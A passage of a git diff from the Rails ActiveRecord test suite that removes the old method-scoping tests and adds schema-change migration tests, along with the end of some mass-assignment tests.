+    attributes = { :best_friend_attributes => { :comments => 'rides a sweet bike' } }
+    assert_raises(RuntimeError) { person.assign_attributes(attributes, :as => :admin) }
+    assert_equal 'm', person.best_friend.gender
+
+    person.best_friend_attributes = { :gender => 'f' }
+    assert_equal 'm', person.best_friend.gender
+  end
+
+  def test_mass_assignment_options_are_nested_correctly
+    person = NestedPerson.create!({ :first_name => 'David', :gender => 'm' }, :as => :admin)
+    person.create_best_friend!({ :first_name => 'Jeremy', :gender => 'm' }, :as => :admin)
+
+    attributes = { :best_friend_first_name => 'Josh', :best_friend_attributes => { :gender => 'f' } }
+    person.assign_attributes(attributes, :as => :admin)
+    assert_equal 'Josh', person.best_friend.first_name
+    assert_equal 'f', person.best_friend.gender
+  end
+
 end
diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb
deleted file mode 100644
index 0ab4f30363..0000000000
--- a/activerecord/test/cases/method_scoping_test.rb
+++ /dev/null
@@ -1,558 +0,0 @@
-# This file can be removed once with_exclusive_scope and with_scope are removed.
-# All the tests were already ported to relation_scoping_test.rb when the new
-# relation scoping API was added.
-
-require "cases/helper"
-require 'models/post'
-require 'models/author'
-require 'models/developer'
-require 'models/project'
-require 'models/comment'
-
-class MethodScopingTest < ActiveRecord::TestCase
-  fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
-
-  def test_set_conditions
-    Developer.send(:with_scope, :find => { :conditions => 'just a test...' }) do
-      assert_match '(just a test...)', Developer.scoped.to_sql
-    end
-  end
-
-  def test_scoped_find
-    Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-      assert_nothing_raised { Developer.find(1) }
-    end
-  end
-
-  def test_scoped_find_first
-    Developer.send(:with_scope, :find => { :conditions => "salary = 100000" }) do
-      assert_equal Developer.find(10), Developer.find(:first, :order => 'name')
-    end
-  end
-
-  def test_scoped_find_last
-    highest_salary = Developer.find(:first, :order => "salary DESC")
-
-    Developer.send(:with_scope, :find => { :order => "salary" }) do
-      assert_equal highest_salary, Developer.last
-    end
-  end
-
-  def test_scoped_find_last_preserves_scope
-    lowest_salary = Developer.find(:first, :order => "salary ASC")
-    highest_salary = Developer.find(:first, :order => "salary DESC")
-
-    Developer.send(:with_scope, :find => { :order => "salary" }) do
-      assert_equal highest_salary, Developer.last
-      assert_equal lowest_salary, Developer.first
-    end
-  end
-
-  def test_scoped_find_combines_conditions
-    Developer.send(:with_scope, :find => { :conditions => "salary = 9000" }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => "name = 'Jamis'")
-    end
-  end
-
-  def test_scoped_find_sanitizes_conditions
-    Developer.send(:with_scope, :find => { :conditions => ['salary = ?', 9000] }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first)
-    end
-  end
-
-  def test_scoped_find_combines_and_sanitizes_conditions
-    Developer.send(:with_scope, :find => { :conditions => ['salary = ?', 9000] }) do
-      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
-    end
-  end
-
-  def test_scoped_find_all
-    Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-      assert_equal [developers(:david)], Developer.all
-    end
-  end
-
-  def test_scoped_find_select
-    Developer.send(:with_scope, :find => { :select => "id, name" }) do
-      developer = Developer.find(:first, :conditions => "name = 'David'")
-      assert_equal "David", developer.name
-      assert !developer.has_attribute?(:salary)
-    end
-  end
-
-  def test_scope_select_concatenates
-    Developer.send(:with_scope, :find => { :select => "name" }) do
-      developer = Developer.find(:first, :select => 'id, salary', :conditions => "name = 'David'")
-      assert_equal 80000, developer.salary
-      assert developer.has_attribute?(:id)
-      assert developer.has_attribute?(:name)
-      assert developer.has_attribute?(:salary)
-    end
-  end
-
-  def test_scoped_count
-    Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-      assert_equal 1, Developer.count
-    end
-
-    Developer.send(:with_scope, :find => { :conditions => 'salary = 100000' }) do
-      assert_equal 8, Developer.count
-      assert_equal 1, Developer.count(:conditions => "name LIKE 'fixture_1%'")
-    end
-  end
-
-  def test_scoped_find_include
-    # with the include, will retrieve only developers for the given project
-    scoped_developers = Developer.send(:with_scope, :find => { :include => :projects }) do
-      Developer.find(:all, :conditions => 'projects.id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-  end
-
-  def test_scoped_find_joins
-    scoped_developers = Developer.send(:with_scope, :find => { :joins => 'JOIN developers_projects ON id = developer_id' } ) do
-      Developer.find(:all, :conditions => 'developers_projects.project_id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-    assert_equal developers(:david).attributes, scoped_developers.first.attributes
-  end
-
-  def test_scoped_find_using_new_style_joins
-    scoped_developers = Developer.send(:with_scope, :find => { :joins => :projects }) do
-      Developer.find(:all, :conditions => 'projects.id = 2')
-    end
-    assert scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 1, scoped_developers.size
-    assert_equal developers(:david).attributes, scoped_developers.first.attributes
-  end
-
-  def test_scoped_find_merges_old_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id ' }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_new_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => :posts }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => :comments, :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_new_and_old_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => :posts }) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_string_array_style_and_string_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => ["INNER JOIN posts ON posts.author_id = authors.id"]}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_string_array_style_and_hash_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => :posts}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN comments ON posts.id = comments.post_id'], :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_merges_joins_and_eliminates_duplicate_string_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => 'INNER JOIN posts ON posts.author_id = authors.id'}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ["INNER JOIN posts ON posts.author_id = authors.id", "INNER JOIN comments ON posts.id = comments.post_id"], :conditions => 'comments.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_find_strips_spaces_from_string_joins_and_eliminates_duplicate_string_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => ' INNER JOIN posts ON posts.author_id = authors.id '}) do
-      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN posts ON posts.author_id = authors.id'], :conditions => 'posts.id = 1')
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_scoped_count_include
-    # with the include, will retrieve only developers for the given project
-    Developer.send(:with_scope, :find => { :include => :projects }) do
-      assert_equal 1, Developer.count(:conditions => 'projects.id = 2')
-    end
-  end
-
-  def test_scope_for_create_only_uses_equal
-    table = VerySpecialComment.arel_table
-    relation = VerySpecialComment.scoped
-    relation.where_values << table[:id].not_eq(1)
-    assert_equal({:type => "VerySpecialComment"}, relation.send(:scope_for_create))
-  end
-
-  def test_scoped_create
-    new_comment = nil
-
-    VerySpecialComment.send(:with_scope, :create => { :post_id => 1 }) do
-      assert_equal({:post_id => 1, :type => 'VerySpecialComment' }, VerySpecialComment.scoped.send(:scope_for_create))
-      new_comment = VerySpecialComment.create :body => "Wonderful world"
-    end
-
-    assert Post.find(1).comments.include?(new_comment)
-  end
-
-  def test_scoped_create_with_join_and_merge
-    Comment.where(:body => "but Who's Buying?").joins(:post).merge(Post.where(:body => 'Peace Sells...')).with_scope do
-      assert_equal({:body => "but Who's Buying?"}, Comment.scoped.scope_for_create)
-    end
-  end
-
-  def test_immutable_scope
-    options = { :conditions => "name = 'David'" }
-    Developer.send(:with_scope, :find => options) do
-      assert_equal %w(David), Developer.all.map(&:name)
-      options[:conditions] = "name != 'David'"
-      assert_equal %w(David), Developer.all.map(&:name)
-    end
-
-    scope = { :find => { :conditions => "name = 'David'" }}
-    Developer.send(:with_scope, scope) do
-      assert_equal %w(David), Developer.all.map(&:name)
-      scope[:find][:conditions] = "name != 'David'"
-      assert_equal %w(David), Developer.all.map(&:name)
-    end
-  end
-
-  def test_scoped_with_duck_typing
-    scoping = Struct.new(:current_scope).new(:find => { :conditions => ["name = ?", 'David'] })
-    Developer.send(:with_scope, scoping) do
-       assert_equal %w(David), Developer.all.map(&:name)
-    end
-  end
-
-  def test_ensure_that_method_scoping_is_correctly_restored
-    begin
-      Developer.send(:with_scope, :find => { :conditions => "name = 'Jamis'" }) do
-        raise "an exception"
-      end
-    rescue
-    end
-
-    assert !Developer.scoped.where_values.include?("name = 'Jamis'")
-  end
-end
-
-class NestedScopingTest < ActiveRecord::TestCase
-  fixtures :authors, :developers, :projects, :comments, :posts
-
-  def test_merge_options
-    Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do
-      Developer.send(:with_scope, :find => { :limit => 10 }) do
-        devs = Developer.scoped
-        assert_match '(salary = 80000)', devs.to_sql
-        assert_equal 10, devs.taken
-      end
-    end
-  end
-
-  def test_merge_inner_scope_has_priority
-    Developer.send(:with_scope, :find => { :limit => 5 }) do
-      Developer.send(:with_scope, :find => { :limit => 10 }) do
-        assert_equal 10, Developer.scoped.taken
-      end
-    end
-  end
-
-  def test_replace_options
-    Developer.send(:with_scope, :find => { :conditions => {:name => 'David'} }) do
-      Developer.send(:with_exclusive_scope, :find => { :conditions => {:name => 'Jamis'} }) do
-        assert_equal 'Jamis', Developer.scoped.send(:scope_for_create)[:name]
-      end
-
-      assert_equal 'David', Developer.scoped.send(:scope_for_create)[:name]
-    end
-  end
-
-  def test_with_exclusive_scope_with_relation
-    assert_raise(ArgumentError) do
-      Developer.all_johns
-    end
-  end
-
-  def test_append_conditions
-    Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-      Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do
-        devs = Developer.scoped
-        assert_match "(name = 'David') AND (salary = 80000)", devs.to_sql
-        assert_equal(1, Developer.count)
-      end
-      Developer.send(:with_scope, :find => { :conditions => "name = 'Maiha'" }) do
-        assert_equal(0, Developer.count)
-      end
-    end
-  end
-
-  def test_merge_and_append_options
-    Developer.send(:with_scope, :find => { :conditions => 'salary = 80000', :limit => 10 }) do
-      Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-        devs = Developer.scoped
-        assert_match "(salary = 80000) AND (name = 'David')", devs.to_sql
-        assert_equal 10, devs.taken
-      end
-    end
-  end
-
-  def test_nested_scoped_find
-    Developer.send(:with_scope, :find => { :conditions => "name = 'Jamis'" }) do
-      Developer.send(:with_exclusive_scope, :find => { :conditions => "name = 'David'" }) do
-        assert_nothing_raised { Developer.find(1) }
-        assert_equal('David', Developer.find(:first).name)
-      end
-      assert_equal('Jamis', Developer.find(:first).name)
-    end
-  end
-
-  def test_nested_scoped_find_include
-    Developer.send(:with_scope, :find => { :include => :projects }) do
-      Developer.send(:with_scope, :find => { :conditions => "projects.id = 2" }) do
-        assert_nothing_raised { Developer.find(1) }
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-  end
-
-  def test_nested_scoped_find_merged_include
-    # :include's remain unique and don't "double up" when merging
-    Developer.send(:with_scope, :find => { :include => :projects, :conditions => "projects.id = 2" }) do
-      Developer.send(:with_scope, :find => { :include => :projects }) do
-        assert_equal 1, Developer.scoped.includes_values.uniq.length
-        assert_equal 'David', Developer.find(:first).name
-      end
-    end
-
-    # the nested scope doesn't remove the first :include
-    Developer.send(:with_scope, :find => { :include => :projects, :conditions => "projects.id = 2" }) do
-      Developer.send(:with_scope, :find => { :include => [] }) do
-        assert_equal 1, Developer.scoped.includes_values.uniq.length
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-
-    # mixing array and symbol include's will merge correctly
-    Developer.send(:with_scope, :find => { :include => [:projects], :conditions => "projects.id = 2" }) do
-      Developer.send(:with_scope, :find => { :include => :projects }) do
-        assert_equal 1, Developer.scoped.includes_values.uniq.length
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-  end
-
-  def test_nested_scoped_find_replace_include
-    Developer.send(:with_scope, :find => { :include => :projects }) do
-      Developer.send(:with_exclusive_scope, :find => { :include => [] }) do
-        assert_equal 0, Developer.scoped.includes_values.length
-      end
-    end
-  end
-
-  def test_three_level_nested_exclusive_scoped_find
-    Developer.send(:with_scope, :find => { :conditions => "name = 'Jamis'" }) do
-      assert_equal('Jamis', Developer.find(:first).name)
-
-      Developer.send(:with_exclusive_scope, :find => { :conditions => "name = 'David'" }) do
-        assert_equal('David', Developer.find(:first).name)
-
-        Developer.send(:with_exclusive_scope, :find => { :conditions => "name = 'Maiha'" }) do
-          assert_equal(nil, Developer.find(:first))
-        end
-
-        # ensure that scoping is restored
-        assert_equal('David', Developer.find(:first).name)
-      end
-
-      # ensure that scoping is restored
-      assert_equal('Jamis', Developer.find(:first).name)
-    end
-  end
-
-  def test_merged_scoped_find
-    poor_jamis = developers(:poor_jamis)
-    Developer.send(:with_scope, :find => { :conditions => "salary < 100000" }) do
-      Developer.send(:with_scope, :find => { :offset => 1, :order => 'id asc' }) do
-        # Oracle adapter does not generated space after asc therefore trailing space removed from regex
-        assert_sql(/ORDER BY\s+id asc/) do
-          assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
-        end
-      end
-    end
-  end
-
-  def test_merged_scoped_find_sanitizes_conditions
-    Developer.send(:with_scope, :find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.send(:with_scope, :find => { :conditions => ['salary = ?', 9000] }) do
-        assert_raise(ActiveRecord::RecordNotFound) { developers(:poor_jamis) }
-      end
-    end
-  end
-
-  def test_nested_scoped_find_combines_and_sanitizes_conditions
-    Developer.send(:with_scope, :find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.send(:with_exclusive_scope, :find => { :conditions => ['salary = ?', 9000] }) do
-        assert_equal developers(:poor_jamis), Developer.find(:first)
-        assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
-      end
-    end
-  end
-
-  def test_merged_scoped_find_combines_and_sanitizes_conditions
-    Developer.send(:with_scope, :find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.send(:with_scope, :find => { :conditions => ['salary > ?', 9000] }) do
-        assert_equal %w(David), Developer.all.map(&:name)
-      end
-    end
-  end
-
-  def test_nested_scoped_create
-    comment = nil
-    Comment.send(:with_scope, :create => { :post_id => 1}) do
-      Comment.send(:with_scope, :create => { :post_id => 2}) do
-        assert_equal({:post_id => 2}, Comment.scoped.send(:scope_for_create))
-        comment = Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
-      end
-    end
-    assert_equal 2, comment.post_id
-  end
-
-  def test_nested_exclusive_scope_for_create
-    comment = nil
-
-    Comment.send(:with_scope, :create => { :body => "Hey guys, nested scopes are broken. Please fix!" }) do
-      Comment.send(:with_exclusive_scope, :create => { :post_id => 1 }) do
-        assert_equal({:post_id => 1}, Comment.scoped.send(:scope_for_create))
-        assert_blank Comment.new.body
-        comment = Comment.create :body => "Hey guys"
-      end
-    end
-    assert_equal 1, comment.post_id
-    assert_equal 'Hey guys', comment.body
-  end
-
-  def test_merged_scoped_find_on_blank_conditions
-    [nil, " ", [], {}].each do |blank|
-      Developer.send(:with_scope, :find => {:conditions => blank}) do
-        Developer.send(:with_scope, :find => {:conditions => blank}) do
-          assert_nothing_raised { Developer.find(:first) }
-        end
-      end
-    end
-  end
-
-  def test_merged_scoped_find_on_blank_bind_conditions
-    [ [""], ["",{}] ].each do |blank|
-      Developer.send(:with_scope, :find => {:conditions => blank}) do
-        Developer.send(:with_scope, :find => {:conditions => blank}) do
-          assert_nothing_raised { Developer.find(:first) }
-        end
-      end
-    end
-  end
-
-  def test_immutable_nested_scope
-    options1 = { :conditions => "name = 'Jamis'" }
-    options2 = { :conditions => "name = 'David'" }
-    Developer.send(:with_scope, :find => options1) do
-      Developer.send(:with_exclusive_scope, :find => options2) do
-        assert_equal %w(David), Developer.all.map(&:name)
-        options1[:conditions] = options2[:conditions] = nil
-        assert_equal %w(David), Developer.all.map(&:name)
-      end
-    end
-  end
-
-  def test_immutable_merged_scope
-    options1 = { :conditions => "name = 'Jamis'" }
-    options2 = { :conditions => "salary > 10000" }
-    Developer.send(:with_scope, :find => options1) do
-      Developer.send(:with_scope, :find => options2) do
-        assert_equal %w(Jamis), Developer.all.map(&:name)
-        options1[:conditions] = options2[:conditions] = nil
-        assert_equal %w(Jamis), Developer.all.map(&:name)
-      end
-    end
-  end
-
-  def test_ensure_that_method_scoping_is_correctly_restored
-    Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
-      begin
-        Developer.send(:with_scope, :find => { :conditions => "name = 'Maiha'" }) do
-          raise "an exception"
-        end
-      rescue
-      end
-
-      assert Developer.scoped.where_values.include?("name = 'David'")
-      assert !Developer.scoped.where_values.include?("name = 'Maiha'")
-    end
-  end
-
-  def test_nested_scoped_find_merges_old_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id' }) do
-      Author.send(:with_scope, :find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_nested_scoped_find_merges_new_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => :posts }) do
-      Author.send(:with_scope, :find => { :joins => :comments }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_nested_scoped_find_merges_new_and_old_style_joins
-    scoped_authors = Author.send(:with_scope, :find => { :joins => :posts }) do
-      Author.send(:with_scope, :find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :joins => '', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
new file mode 100644
index 0000000000..ec4c554abb
--- /dev/null
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -0,0 +1,330 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class ChangeSchemaTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+      end
+
+      def teardown
+        super
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+      end
+
+      def test_create_table_without_id
+        testing_table_with_only_foo_attribute do
+          assert_equal connection.columns(:testings).size, 1
+        end
+      end
+
+      def test_add_column_with_primary_key_attribute
+        testing_table_with_only_foo_attribute do
+          connection.add_column :testings, :id, :primary_key
+          assert_equal connection.columns(:testings).size, 2
+        end
+      end
+
+      def test_create_table_adds_id
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(foo id), connection.columns(:testings).map(&:name).sort
+      end
+
+      def test_create_table_with_not_null_column
+        connection.create_table :testings do |t|
+          t.column :foo, :string, :null => false
+        end
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          connection.execute "insert into testings (foo) values (NULL)"
+        end
+      end
+
+      def test_create_table_with_defaults
+        # MySQL doesn't allow defaults on TEXT or BLOB columns.
+        mysql = current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+
+        connection.create_table :testings do |t|
+          t.column :one, :string, :default => "hello"
+          t.column :two, :boolean, :default => true
+          t.column :three, :boolean, :default => false
+          t.column :four, :integer, :default => 1
+          t.column :five, :text, :default => "hello" unless mysql
+        end
+
+        columns = connection.columns(:testings)
+        one = columns.detect { |c| c.name == "one" }
+        two = columns.detect { |c| c.name == "two" }
+        three = columns.detect { |c| c.name == "three" }
+        four = columns.detect { |c| c.name == "four" }
+        five = columns.detect { |c| c.name == "five" } unless mysql
+
+        assert_equal "hello", one.default
+        assert_equal true, two.default
+        assert_equal false, three.default
+        assert_equal 1, four.default
+        assert_equal "hello", five.default unless mysql
+      end
+
+      def test_create_table_with_limits
+        connection.create_table :testings do |t|
+          t.column :foo, :string, :limit => 255
+
+          t.column :default_int, :integer
+
+          t.column :one_int,    :integer, :limit => 1
+          t.column :four_int,   :integer, :limit => 4
+          t.column :eight_int,  :integer, :limit => 8
+        end
+
+        columns = connection.columns(:testings)
+        foo = columns.detect { |c| c.name == "foo" }
+        assert_equal 255, foo.limit
+
+        default = columns.detect { |c| c.name == "default_int" }
+        one     = columns.detect { |c| c.name == "one_int"     }
+        four    = columns.detect { |c| c.name == "four_int"    }
+        eight   = columns.detect { |c| c.name == "eight_int"   }
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal 'integer', default.sql_type
+          assert_equal 'smallint', one.sql_type
+          assert_equal 'integer', four.sql_type
+          assert_equal 'bigint', eight.sql_type
+        elsif current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+          assert_match 'int(11)', default.sql_type
+          assert_match 'tinyint', one.sql_type
+          assert_match 'int', four.sql_type
+          assert_match 'bigint', eight.sql_type
+        elsif current_adapter?(:OracleAdapter)
+          assert_equal 'NUMBER(38)', default.sql_type
+          assert_equal 'NUMBER(1)', one.sql_type
+          assert_equal 'NUMBER(4)', four.sql_type
+          assert_equal 'NUMBER(8)', eight.sql_type
+        end
+      end
+
+      def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
+        ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(foo testing_id), connection.columns(:testings).map(&:name).sort
+      end
+
+      def test_create_table_with_primary_key_prefix_as_table_name
+        ActiveRecord::Base.primary_key_prefix_type = :table_name
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(foo testingid), connection.columns(:testings).map(&:name).sort
+      end
+
+      def test_create_table_with_timestamps_should_create_datetime_columns
+        connection.create_table table_name do |t|
+          t.timestamps
+        end
+        created_columns = connection.columns(table_name)
+
+        created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+        updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+        assert created_at_column.null
+        assert updated_at_column.null
+      end
+
+      def test_create_table_with_timestamps_should_create_datetime_columns_with_options
+        connection.create_table table_name do |t|
+          t.timestamps :null => false
+        end
+        created_columns = connection.columns(table_name)
+
+        created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+        updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+        assert !created_at_column.null
+        assert !updated_at_column.null
+      end
+
+      def test_create_table_without_a_block
+        connection.create_table table_name
+      end
+
+      def test_add_column_not_null_without_default
+        # Sybase, and SQLite3 will not allow you to add a NOT NULL
+        # column to a table without a default value.
+        if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
+          skip "not supported on #{connection.class}"
+        end
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+        connection.add_column :testings, :bar, :string, :null => false
+
+        assert_raise(ActiveRecord::StatementInvalid) do
+          connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+        end
+      end
+
+      def test_add_column_not_null_with_default
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        con = connection
+        connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
+        connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
+        connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
+        assert_nothing_raised {connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          unless current_adapter?(:OpenBaseAdapter)
+            connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
+          else
+            connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
+                                     "Testing Insert","id",2)
+          end
+        end
+      end
+
+      def test_change_column_quotes_column_names
+        connection.create_table :testings do |t|
+          t.column :select, :string
+        end
+
+        connection.change_column :testings, :select, :string, :limit => 10
+
+        # Oracle needs primary key value from sequence
+        if current_adapter?(:OracleAdapter)
+          connection.execute "insert into testings (id, #{connection.quote_column_name('select')}) values (testings_seq.nextval, '7 chars')"
+        else
+          connection.execute "insert into testings (#{connection.quote_column_name('select')}) values ('7 chars')"
+        end
+      end
+
+      def test_keeping_default_and_notnull_constaint_on_change
+        connection.create_table :testings do |t|
+          t.column :title, :string
+        end
+        person_klass = Class.new(ActiveRecord::Base)
+        person_klass.table_name = 'testings'
+
+        person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
+        person_klass.reset_column_information
+        assert_equal 99, person_klass.columns_hash["wealth"].default
+        assert_equal false, person_klass.columns_hash["wealth"].null
+        # Oracle needs primary key value from sequence
+        if current_adapter?(:OracleAdapter)
+          assert_nothing_raised {person_klass.connection.execute("insert into testings (id, title) values (testings_seq.nextval, 'tester')")}
+        else
+          assert_nothing_raised {person_klass.connection.execute("insert into testings (title) values ('tester')")}
+        end
+
+        # change column default to see that column doesn't lose its not null definition
+        person_klass.connection.change_column_default "testings", "wealth", 100
+        person_klass.reset_column_information
+        assert_equal 100, person_klass.columns_hash["wealth"].default
+        assert_equal false, person_klass.columns_hash["wealth"].null
+
+        # rename column to see that column doesn't lose its not null and/or default definition
+        person_klass.connection.rename_column "testings", "wealth", "money"
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["wealth"]
+        assert_equal 100, person_klass.columns_hash["money"].default
+        assert_equal false, person_klass.columns_hash["money"].null
+
+        # change column
+        person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
+        person_klass.reset_column_information
+        assert_equal 1000, person_klass.columns_hash["money"].default
+        assert_equal false, person_klass.columns_hash["money"].null
+
+        # change column, make it nullable and clear default
+        person_klass.connection.change_column "testings", "money", :integer, :null => true, :default => nil
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["money"].default
+        assert_equal true, person_klass.columns_hash["money"].null
+
+        # change_column_null, make it not nullable and set null values to a default value
+        person_klass.connection.execute('UPDATE testings SET money = NULL')
+        person_klass.connection.change_column_null "testings", "money", false, 2000
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["money"].default
+        assert_equal false, person_klass.columns_hash["money"].null
+        assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
+      end
+
+      def test_column_exists
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert connection.column_exists?(:testings, :foo)
+        refute connection.column_exists?(:testings, :bar)
+      end
+
+      def test_column_exists_with_type
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+          t.column :bar, :decimal, :precision => 8, :scale => 2
+        end
+
+        assert connection.column_exists?(:testings, :foo, :string)
+        refute connection.column_exists?(:testings, :foo, :integer)
+
+        assert connection.column_exists?(:testings, :bar, :decimal)
